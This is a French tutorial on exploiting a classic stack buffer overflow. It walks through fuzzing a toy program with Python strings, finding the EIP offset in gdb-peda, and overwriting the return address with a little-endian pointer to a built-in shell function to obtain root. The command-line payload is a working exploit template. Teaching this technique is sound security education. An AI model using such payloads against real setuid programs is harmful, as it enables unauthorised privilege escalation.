**Le Buffer Overflow classique**
**1.Présentation**
Le buffer overflow est le dépassement de la mémoire dans un programme.
Il est souvent lié au C du fait que ce langage nécessite de stipuler l'allocation mémoire pour les tailles des variables.
Par exemple :
char buf[50];
La variable buf va pouvoir recevoir jusqu'à 49 caractères (le dernier caractère est le null byte qui est la fin de chaîne \x00)
Si on lui donne plus de 49 caractères elle va déborder, d'où le buffer overflow.
**2.Exploitation**
Le but de l'exploitation d'un buffer overflow est de détourner le flux d'exécution du programme pour lui faire exécuter un shell code.
__2.1 Méthode 1 : Exploitation d'un buffer overflow__
Prenons l'exemple d'un programme qui demande le nom de la personne et qui ensuite le print.
./mon_nom wikisecu
Votre nom est : wikisecu
Le but va être de lui envoyer le plus de caractères possibles et voir à quel moment la variable qui contient le nom va déborder.
Le plus simple est d'utiliser python pour cela.
`python -c "print 'A'*30"`
Le résultat de la commande va nous donner 30 fois la lettre A.
Essayons de nouveau :
./mon_nom `python -c "print 'A'*30"`
Votre nom est : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Il faut augmenter le nombre de A jusqu’à obtenir un **Segmentation Fault** qui signifie un plantage du programme suite au dépassement du buffer.
Dans notre cas cela sera :
./mon_nom `python -c "print 'A'*50"`
Votre nom est :
Segmentation Fault
Le **Segmentation Fault** signifie aussi que nous avons écraser l'adresse mémoire où le programme à essayer d'aller
Pour voir ce qu'il se passe en mémoire il faut utiliser GDB-PEDA (version avec des couleurs et moins effrayante de GDB)
gdb-peda ./mon_nom
Quelques commandes utiles :
- "r" pour run
- "b* adresse" pour mettre un breakpoint(point d’arrêt) dans le programme (attention à bien faire défiler le programme avec "c" pour continue et non plus "r")
- "pdisass fonction" pour désassembler une fonction
L'adresse "$PC" dans gdb-peda est la prochaine adresse où le programme va jumper.
Il en est de même pour l'EIP.
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x210282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
Dans notre cas le but et de trouver à partir de combien de AAAA on écrit à cette adresse
Pour info A en hexa donne : \x41
On remarque que pour 53*A + AAAA on réécrit la prochaine adresse.
Pour trouver l'adresse sur laquelle jumper , il faut regarder le code.
On va trouver l'adresse de la fonction shell qui est dans notre programme (dans le cas deux on verra comment mettre notre propre shell).
Pour cela on va faire
pdisass shell
gdb-peda$ disass shell
Dump of assembler code for function shell:
0x08042345 <+0>: push ebp
0x08042346 <+1>: mov ebp,esp
0x08042348 <+3>: sub esp,0x18
0x0804234a <+6>: mov DWORD PTR [esp],0x8012340
0x08042351 <+13>: call 0x8012360
0x08042356 <+18>: leave
0x08042357 <+19>: ret
End of assembler dump.
Attention l'adresse est en little endian.
C'est à dire que l'adresse \x01\x02\x03\x04 s'écrira \x04\x03\x02\x01
On retourne dans le terminal et on va dire à notre programme d'aller jumper dans la fonction shell :
(on rajoute cat pour avoir la main une fois le buffer overflow effectué)
./mon_nom `python -c 'print "A"*53 +"\x45\x23\x04\x08" ' ;cat
On peut désormais écrire des commandes avec les droits root.
**3.Comment se protéger**
Il faut appliquer les bonnes pratiques de codes ainsi qu'une bonne hygiène de développement.